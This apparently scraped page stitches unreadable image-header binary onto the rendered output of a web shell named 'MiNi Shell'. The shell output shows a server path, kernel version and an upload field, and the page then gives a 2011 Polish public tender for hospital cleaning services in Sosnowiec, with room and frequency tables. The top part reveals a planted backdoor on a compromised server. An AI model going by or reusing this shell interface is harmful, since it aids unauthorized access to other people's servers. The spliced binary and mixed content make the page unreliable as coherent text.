JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20110225/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20110225/66197-N-2011.html

<p class="kh_header"><b>Sosnowiec: Świadczenie usługi utrzymania właściwego stanu sanitarno- higienicznego  w Instytucie Medycyny Pracy i Zdrowia Środowiskowego (Zakłady Naukowe i Szpital)</b><br>
<b>Numer ogłoszenia: 66197 - 2011; data zamieszczenia: 25.02.2011</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Instytut Medycyny Pracy i Zdrowia Środowiskowego , ul. Kościelna 13, 41-200 Sosnowiec, woj. śląskie, tel. 032 2660885, faks 032 2661124.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.imp.sosnowiec.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Inny: Instytut Badawczy.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Świadczenie usługi utrzymania właściwego stanu sanitarno- higienicznego  w Instytucie Medycyny Pracy i Zdrowia Środowiskowego (Zakłady Naukowe i Szpital).</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest świadczenie usługi utrzymania właściwego stanu sanitarno - higienicznego w Instytucie Medycyny Pracy i Zdrowia Środowiskowego w Sosnowcu (Instytut i Szpital Instytutu).
Zasady:
Prawidłowe sprzątanie i utrzymanie czystości jest jedną z podstawowych zasad  zapobiegania zakażeniom szpitalnym. Ze środowiska szpitalnego należy sprawnie i szybko usuwać wszelkie substancje mogące sprzyjać rozwojowi i namnażaniu się bakterii. Szczególną uwagę należy zwrócić na krew, mocz, kał, ropę i kurz oraz wszelkie resztki pokarmowe. Sprzątanie ma na celu stałe usuwanie i rozcieńczanie  mikroflory poprzez usuwanie drobnoustrojów ze sprzętu i otoczenia chorego. Wszelkie procedury sprzątania muszą zapewniać usunięcie brudu i kurzu. Sprzęt czyszczący po każdym sprzątaniu musi być dokładnie wymyty, zdezynfekowany i wysuszony. Sprzątanie szpitala odbywać się powinno z częstotliwością i rodzajem czynności zależnym od miejsca i rodzaju powierzchni według wykazu częstotliwości wykonywanych czynności wg planu higieny(załącznik 1), przy użyciu środków chemicznych i dezynfekcyjnych spełniających wymogi Zamawiającego. Sprzątanie powinno odbywać się w sposób nie kolidujący z pracą komórek organizacyjnych w uzgodnieniu z Zamawiającym z nasileniem prac w godzinach:
rano pomiędzy 7.00  -  10.00
po południu pomiędzy  15.00  -  18.00
oraz według potrzeb oddziału
Należy wstrzymać się od sprzątania pomieszczeń, w których przebywają pacjenci:
podczas rozdawania i spożywania posiłków
podczas wizyty lekarskiej
podczas wykonywania zabiegów u pacjentów w salach chorych i gabinetach zabiegowo - opatrunkowych
Sprzątanie oddziałów i komórek szpitala w godzinach rannych należy wykonywać z jednoczesnym usuwaniem brudnej bielizny, basenów, kaczek oraz odpadów. Do codziennego czyszczenia powierzchni należy stosować detergenty ułatwiające zmywanie i odpowiednie do  przemywania powierzchni. Wszędzie, gdzie jest to możliwe należy stosować do sprzątania sprzęt mechaniczny, zaś do sprzątania ręcznego należy używać dobrze wchłaniających mopów i ścierek  właściwie  dobranych pod względem reżimu sanitarnego.  Uchwyty do mopów muszą być wyposażone w wymienną część myjącą, którą należy wymieniać po każdym użyciu. Mopy i ścierki muszą być dezynfekowane i prane w temperaturze 90o, a przed użyciem wysuszone. Zastosowanie odkurzaczy należy ograniczyć do powierzchni koniecznych. Odkurzacz musi być wyposażony w system filtrów zapobiegających rozprzestrzenianiu się kurzu. 
Do sprzątania : kuchenek oddziałowych, toalet i łazienek, sal chorych podwyższonego ryzyka należy używać osobnego, wyraźnie oznaczonego sprzętu. Sprzęt do sprzątania należy przechowywać czysty i suchy w wyznaczonym do tego celu pomieszczeniu lub miejscu. Osoby sprzątające pomieszczenia o podwyższonym reżimie sanitarnym (metry szpitalne) zobowiązane są do przestrzegania zasad dotyczących stosowania środków ochrony indywidualnej: rękawic gospodarczych, odzieży ochronnej, maseczek itp., oraz zasad właściwych dla higieny rąk.
Potrzebę zastosowania środka dezynfekcyjnego określa szczegółowy zakres wykonywania czynności.



Czas wykonywania usługi:

1.	Realizacja usługi utrzymania czystości będzie się odbywać przez 5 dni w tygodniu, od poniedziałku do piątku, po godzinach pracy placówki, a więc po godzinie 15.30.
2.	Na oddziałach realizacja usługi utrzymania czystości odbywać będzie się w godzinach od 6.00 do 18.00, przez 7 dni w tygodniu na  Oddziale Toksykologii Klinicznej z ROOZ oraz w pomieszczeniach Izby Przyjęć, a na Oddziale Chorób Zawodowych z Pododdziałem Chorób Wewnętrznych przez 5 dni w tygodniu (z wyjątkiem sobót i niedziel).

Utrzymanie czystości pomieszczeń biurowych:

1.mycie podłóg zgodnie z załączonym grafikiem
2.konserwacja powierzchni podłóg korytarzy warstwą polimerową 2 x w roku,
3.mycie ścian korytarzy obłożonych sklejką (1 x na rok),
4.mycie umywalek i kafelek wokół umywalek,
5.odkurzanie parapetów i dolnej framugi okien,
6.odkurzanie górnej powierzchni mebli,
7.opróżnianie koszy na śmieci poprzez usuwanie worków foliowych z zawartością, w przypadku zabrudzenia - mycie koszy i dezynfekcja oraz założenie nowego worka foliowego.

W wykazie Wielkość powierzchni i częstotliwość prac Zamawiający podał częstotliwość wykonywania ww. prac. 
Podłogi w części budynku instytutu to PCV (za wyjątkiem Przychodni Medycyny Środowiskowej).
Środki czystości: zakup środków czystości leży po stronie Wykonawcy.

Utrzymanie czystości węzłów sanitarnych (częstotliwość na części szpitalnej i na terenie laboratorium określa plan higieny):

-	mycie podłóg, 
-	mycie ścian - płytki lub lamperia 
-	mycie drzwi 
-	mycie toalet - mycie muszli klozetowych, desek klozetowych,
-	mycie umywalek i kafelek wokół umywalek,
-	odkurzanie parapetów i dolnej framugi okien,
-	opróżnianie koszy na odpady poprzez usuwanie worków foliowych z zawartością, w przypadku zabrudzenia - mycie i dezynfekcja koszy, założenie nowego worka foliowego.
Podłogi w toaletach to w większości przypadków płytki ceramiczne.
Środki czystości: do mycia węzłów sanitarnych należy stosować środki posiadające atesty bezpieczeństwa do stosowania jak w gospodarstwie domowym.
Zakup środków leży po stronie Wykonawcy, który również zobowiązany jest do zaopatrywania wszystkich węzłów sanitarnych w papier toaletowy, worki na odpady oraz mydło w płynie według bieżącego zużycia a także dozowniki na powyższe. 

Utrzymanie czystości pomieszczeń szpitalnych, ambulatoryjnych i laboratoryjnych:

-	według opisu  oraz Szczegółowego zakresu i częstotliwości wykonywania czynności  mycia  i dezynfekcji w pomieszczeniach o podwyższonym reżimie sanitarnym- Plan Higieny Szpitala

Środki czystości: do mycia powierzchni oddziałów szpitalnych, pracowni i poradni stosuje się środki myjące oraz myjąco - dezynfekcyjne odpowiadające wymogom Sanepidu. 

Podłogi w części szpitalnej to:
-	w korytarzach, sanitariatach - płytki ceramiczne,
-	w większości pomieszczeń - PCV.

W wyżej wymienionych pomieszczeniach winien być realizowany zakres prac dotyczący poszczególnych komórek organizacyjnych, jak i całości Szpitala i obejmujący:

1.	Profesjonalne doczyszczanie powierzchni (ściany, podłogi, posadzki w zależności od rodzaju powierzchni) oraz ich konserwacja - zabezpieczenie polimerową powłoką ochronną przynajmniej raz na pół roku.
2.	Sprzątanie i dezynfekcja powierzchni w szpitalu, budynku administracyjnym, obejmuje zgodnie z załączonym przyjętym podziałem stref czystościowych w jednostce Plan Higieny
Sprzątanie codzienne - 1,2,3 x dziennie
Sprzątanie profilaktyczne - 3 x w tygodniu
Sprzątanie okresowe - 1 x w tygodniu, 1 x w miesiącu, 1 x w kwartale
3.	Wykonywanie czynności porządkowych po czynnościach remontowych, modernizacyjnych w szpitalu.
4.	Opróżnianie, dezynfekcja i mycie naczyń na wydaliny - baseny, kaczki oraz mycie i dezynfekcja ssaków
5.	Mycie i dezynfekcja łóżek oraz zmiana pościeli  po wypisach i zgonach pacjentów.
6.	Segregacja i transport bielizny brudnej z oddziałów do punktu dystrybucji bielizny oraz bielizny czystej z magazynu szpitalnego na oddziały. Zbieranie, sortowanie i transport bielizny brudnej. Brudną bieliznę należy bezpośrednio po zdjęciu umieścić w workach koloru niebieskiego oraz zamknąć. Bieliznę umieszcza się w workach w sposób uniemożliwiający dotykanie zewnętrznych powierzchni worka. Worek należy wypełnić do 2/3 pojemności i umieścić w wózku transportowym. Nie należy luzem przenosić bielizny brudnej. Transport bielizny brudnej do pomieszczenia zbiórki odbywa się z wykorzystaniem windy szpitalnej wózkiem przeznaczonym do transportu bielizny brudnej. Zbiórką i transportem bielizny brudnej zajmują się pracownicy firmy sprzątającej. Worki użyte do zbierania bielizny powinny być grube (co najmniej 12 mikronów). 
7.	Sporadycznie pomoc w transporcie artykułów medycznych, chemicznych, biurowych itp., z magazynów gospodarczych   szpitala na oddziały i poszczególne komórki odbioru.
8.	Dezynfekcja i mycie wózków transportowych i inwalidzkich oraz innego sprzętu medycznego.
9.	Dezynfekcja bieżąca rozlanych płynów ustrojowych (wymiociny, krew, plwocina, mocz, kał itp.) zgodnie z obowiązującą procedurą.
10.	Zbieranie, segregowanie, przygotowanie do transportu odpadów szpitalnych oraz ich transport do punktu zbiorczego.
11.	Dezynfekcja i mycie opróżnionych pojemników oraz zabezpieczenie ich od wewnątrz  właściwym workiem zgodnie z obowiązującą w szpitalu procedurą (zawsze po opróżnieniu).
12.	Mycie i dezynfekcja zbiorczego pomieszczenia na odpady medyczne 3 x w tygodniu
13.	Utrzymanie właściwego stanu czystości kuchenek oddziałowych zgodnie z obowiązującymi procedurami postępowania w kuchenkach oddziałowych
14.	Zbieranie, zmywanie i wyparzanie naczyń, sztućców, mycie i rozmrażanie lodówek oraz mycie i odkamienianie wyparzarki
15.	Zbieranie i przygotowanie odpadów pokonsumpcyjnych do odbioru przez firmę kateringową 
16.	Zbieranie, mycie i dezynfekcja naczyń kuchennych po posiłkach przy użyciu obowiązujących metod (wyparzanie).
17.	Uzupełnianie dozowników i podajników po ich uprzednim umyciu i wydezynfekowaniu w płyn  dezynfekcyjny, mydło, ręczniki jednorazowe do rąk (listki), papier toaletowy.
18.	Prowadzenie dokumentacji z wykonanych czynności (mycie i dezynfekcja sprzętu i powierzchni).
19.	Zakup sprzętu do sprzątania wraz ze środkami chemii gospodarczej, płynów myjących i myjąco- dezynfekcyjnych, worków na odpady szpitalne zgodnie z obowiązującą procedurą (czarne, czerwone, niebieskie, żółte), mydło w płynie, ręczniki jednorazowe do rąk (listki), papier toaletowy.

 


Wymogi dotyczące sprzętu i wyposażenia

1.	Wózki do sprzątania wykonane ze stali szlachetnej lub tworzywa sztucznego    odpornego na  działanie środków chemicznych i temperatur.
2.	Wózki z wiaderkami do powierzchni podłogowych oraz z wiaderkami do powierzchni  ponadpodłogowych.
3.	W ROOZ sprzątanie i dezynfekcja powierzchni podłogowych tzw. mopami jednego kontaktu (mopy przygotowane w pojemnikach z pokrywą), powierzchnie ponadpodłogowe ściereczką jednego kontaktu podobnie przygotowane.
4.	Mopy odporne na działanie środków chemicznych i dezynfekcyjnych, z możliwością prania w temperaturze 95C.
5.	Tablice informujące o śliskiej podłodze.
6.	Ścierki i mopy oznakowane w zależności od przeznaczenia.
7.	Dopasowanie koloru ścierek do koloru wiaderek.
8.	Zapewnienie worków w kolorach czarnych (odpady komunalne), czerwonych (odpady  medyczne), niebieskich (brudna pościel), żółtych (odpady specyficzne) oraz papieru toaletowego, mydła płynnego do dozowników oraz ręczników  jednorazowych w jednostce
9.	Detergenty do całości sprzątania oraz środki myjąco-dezynfekcyjne. 

Dokumentacja

1.	Wykonawca prowadzi dokumentację dezynfekcji sprzętu, powierzchni i pomieszczeń.
2.	Wykonawca prowadzi systematyczną kontrolę jakości sprzątania, prowadzi dokumentację  oraz przekazuje sprawozdania i wnioski wyznaczonej do kontaktu osobie.
3.	Personel jest zobowiązany do posiadania aktualnych książeczek zdrowia (do pracy z Żywnością) - badania z Sanepidu oraz szczepienia p/WZW typu B.
4.	Wykonawca zapewnia przeprowadzenie szkoleń z zakresu użytkowania sprzętu sprzątającego, bezpieczeństwa i higieny pracy oraz zapobiegania zakażeniom szpitalnym obowiązujących i nowo wdrażanych procedur w placówce 

Wykonawca wskazuje osobę do natychmiastowego kontaktu w przypadku bieżących uwag dotyczących świadczonej usługi



W celu szczegółowego zapoznania się ze specyfiką zamówienia zaleca się dokonania wizji lokalnej placówki Zamawiającego w celu określenia dokładnego zakresu usługi. Zamawiający zobowiązany jest umożliwić dokonanie wizji placówek, jeśli zostanie wcześniej poinformowany o terminie wizji, a sama wizja nastąpi w dniu roboczym oraz w godzinach pracy Zamawiającego. W przypadku nie dokonania wizji lokalnej mimo wyraźnej sugestii Zamawiającego wszelkie roszczenia wykonawców uzasadniane nieznajomością obszaru realizacji usługi lub błędną interpretacją zakresu usługi nie będą uznawane.




















Wykaz pomieszczeń objętych usługą sprzątania  w budynku Instytutu


					PARTER
Piętro/numer pokoju	Powierzchnia
m2	Mycie podłóg+
kurz z parapetu
tydzień	Mycie okien
rok	Wyrzucanie śmieci 	Mycie drzwi/rok	inne
0/18	35,7	1	2	2	2	
0/19	17,4	1	2	2	2	
0/62	15,4	1	2	2	2	
0/63	26,3	1	2	2	2	
0/64	23,4	1	2	2	2	
0/4a	54,7	1	2	2	2	
0/11	7,3	1	2	2	2	
0/29	21,9	1	0	1	0	
0/30	18,5	1	0	0	0	
0/26	41,7	1	2	1	1	
0/23 WC	5,3	5	3	5	6	
0/12 WC	2,6	5	3	5	6	
0/14 WC	3,9	5	3	5	6	
0/1 hol	134,00	2	2	0	2	
0/16 korytarz	13,3	2	2	0	2	
0/56 korytarz	74,00	2	2	0	2	
razem	495,40					
					


Piętro I

numer pokoju	Powierzchnia
m2	Mycie podłóg+
kurz z parapetu/
tydzień	Mycie okien
Ilość x rok	Wyrzucanie śmieci 	Mycie drzwi/rok	inne
I/101	60,0	1	12/2	0	1	Stół konferencyjny
I/102	21,2	1	4/2	0	1	
I/103	19,1	5	4/2	5	1	Odkurzanie mebli
I/104	20,2	5	4/2	5	1	Odkurzanie mebli
I/105	19,6	1	4/2	2	1	
I/106	19,6	1	4/2	2	1	
I/107	19,5	1	4/2	2	1	
I/108	18,6	1	4/2	2	1	
I/109	19,3	3	4/2	3	1	
I/110	11,6	1	2/2	2	1	
I/113	12,1	0	4/2	0	1	
I/114	12,3	3	4/2	3	1	
I/115	12,3	3	4/2	3	1	
I/116	11,9	1	4/2	2	1	
I/117	11,6	1	4/2	2	1	
I/122	19,6	1	4/2	2	1	
I/123	19,6	1	4/2	2	1	
I/124	19,6	1	4/2	2	1	
I/162	14,7	1	4/2	2	1	
I/163	12,0	1	4/2	2	1	
I/164	12,0	1	4/2	2	1	
I/165	12,0	1	4/2	2	1	
I/166	12,2	1	4/2	2	1	
I/150	19,6	1	4/2	2	1	
I/151	19,6	1	4/2	2	1	
I/152	19,6	1	4/2	2	1	
I/153	19,6	1	4/2	2	1	
I/154	23,3	1	4/2	2	1	
I/143	11,5	1	4/2	2	1	
I/144	12,0	1	4/2	2	1	
I/145	12,0	1	4/2	2	1	
I/146	12,0	1	4/2	2	1	
I147	12,2	1	4/2	2	1	
I/134	19,6	1	4/2	2	1	
I/135	19,6	1	4/2	2	1	
I/136	19,6	1	4/2	2	1	
I/138	19,6	1	4/2	2	1	
I/159/160	19,5	1	6/2	2	1	
I/218
WC	7,4	5	0	5	6	
I/219
WC	7,4	5	4/2	5	6	
I/141
WC	6,1	5	4/2	5	6	
I/142
WC	6,1	5	4/2	5	6	
I/120
HOL	19,95	1		0	2	
I/112
KORYTARZ
	74,1	1		0	2	
I/149
KORYTARZ	36,40	1		0	2	
I/111
KLATKA SCHODOWA	19,95	1		0	2	
I/148
ŁĄCZNIK	23,10	1		0	2	
I/128 
KORYTARZ	74,10	1		0	2	
I/121 
ŁĄCZNIK	44,80	1		0	2	
RAZEM	1165,50					



Piętro II/numer pokoju	Powierzchnia
m2	Mycie podłóg+
kurz z parapetu/
tydzień	Mycie okien x
rok	Wyrzucanie śmieci 	Mycie drzwi/rok	inne
II/201	85,6	14/2-28/6
12/9-22/12
5 razy	16/2	3	1	
II/203	19,1	1	4/2	2	1	
II/204	19,1	1	4/2	2	1	
II/205	18,6	1	4/2	2	1	
II/206	19,1	1	4/2	2	1	
II/207	19,4	1	4/2	2	1	
II/208	19,4	1	4/2	2	1	
II/209	11,4	1	4/2	2	1	
II/212	12,1	1	4/2	2	1	
II/213a/b	11,5	1	4/2	2	1	
II/214	12,2	1	4/2	2	1	
II/251	19,6	1	4/2	1	1	
II/252	19,6	1	4/2	1	1	
II/253	19,6	1	4/2	1	1	
II/254	19,6	1	4/2	1	1	
II/255	23,3	1	4/2	1	1	
II/245	11,5	1	4/2	3	1	
II/246	12,0	1	4/2	1	1	
II/247	12,0	1	4/2	1	1	
II/248	12,0	1	4/2	3	1	
II/249	12,2	1	4/2	2	1	
II/258a/b	17,8	?	4/2	1	1	
II/259	12,2	2	4/2	2	1	
II/260	12,2	1	4/2	2	1	
II/232	22,2	2	4/2	3	1	
II/233	19,6	2	4/2	3	1	
II/234	19,6	2	4/2	2	1	
II/235	19,6	1	4/2	2	1	
II/236a/b	18,6	2	4/2	2	1	
II/237	19,6	1	4/2	2	1	
II/238	19,6	1	4/2	2	1	
II/239a/b	19,0	Na żądanie			1	
II/240	19,6	Na żądanie			1	
II/241	19,6	1	4/2	1	1	
II/242	21,4	1	4/2	1	1	
II/243
WC	6,1	5	4/2	5	2	
II/244
WC	6,1	5		5	2	
II/218
WC	7,4	5	4/2	5	2	
II/217
WC	7,4	5		5	2	
II/219
Korytarz+kl sch	19,95	1		0	2	
II/211
Korytarz	74,00	1		0	2	
II/210
Klatka schod+złączka	19,95	2		0	2	
II/250
korytarz	74,00	1		0	2	
II/257
Korytarz	74,00	1		0	2	
razem	958,40					
	
Łączna powierzchnia	
2619,30					
			


OKNA
324 sztuki - rozmiar 1,75*0,82
13 sztuk - rozmiar  1,15*1,20
7 sztuk - rozmiar 2,00*3,00
1 sztuka-  6,45*2,45
2 sztuki - 1,00*2,50
1 sztuka  - 2,15*3,00
 
Poziom i nazwa pomieszczenia	Ilość okien	reżim sanit.	 7  x /tyg	Ilość m2	3xdz	2xdz	1xdz	3x w tyg	1x w tyg	1x w mies.
 	 	 	 	 	żółty	czerwony	zielony	niebieski	pomarańcz	czarny
Poziom 0 lub poniżej 	 	 	 	 	 	 	 	 	 	 
korytarzyk (wejście od windy)	0	 	 	2,3	 	 	 	2,3	 	 
umywalnia +WC	0	*	 	4	 	 	 	4	 	 
Szatnia personelu   okna mniejsze	3	 	 	43,3	 	 	 	43,3	 	 
Depozyt ubrań pom37   okno mniejsze	1	 	 	12,9	 	 	 	12,9	 	 
Pomieszczenie czystej bielizny okna mniejsze	2	*	 	27,5	 	 	 	27,5	 	 
Łazienka +WC	0	*	 	8	 	 	 	8	 	 
Pomieszczenie brudnej bielizny okno mniejsze	1	 	 	13,3	 	 	 	13,3	 	 
korytarz główny -	0	 	 	81,1	 	 	 	81,1	 	 
Pom.mycia wózków pom.0,9  okno mniejsze	1	*	**	15,5	 	 	15,5	 	 	 
Pom.przechowywania wózków 0,8 okna mniejsze	1	*	**	14,8	 	 	14,8	 	 	 
Pom. post mortum   okno mniejsze	1	*	 	13,1	 	 	 	 	 	13,1
korytarz (przy wózkowni)	0	 	**	18,7	 	 	18,7	 	 	 
Pom.audiologii (przy izotopach)	 	 	 	 	 	 	 	 	 	 
Prac.Audiologii po.32 okna lufciki 	2	 	 	13,1	 	 	 	13,1	 	 
Prac.Audiologii po.33 okna lufciki 	2	 	 	16	 	 	 	16	 	 
Prac.Audiologii po.34 okna lufciki 	2	 	 	16,8	 	 	 	16,8	 	 
Prac.Audiologii po.35 okna lufciki 	2	 	 	16,9	 	 	 	16,9	 	 
Prac.Audiologii po.36 okna lufciki 	2	 	 	14,9	 	 	 	14,9	 	 
Korytarz	0	 	 	88,4	 	 	 	88,4	 	 
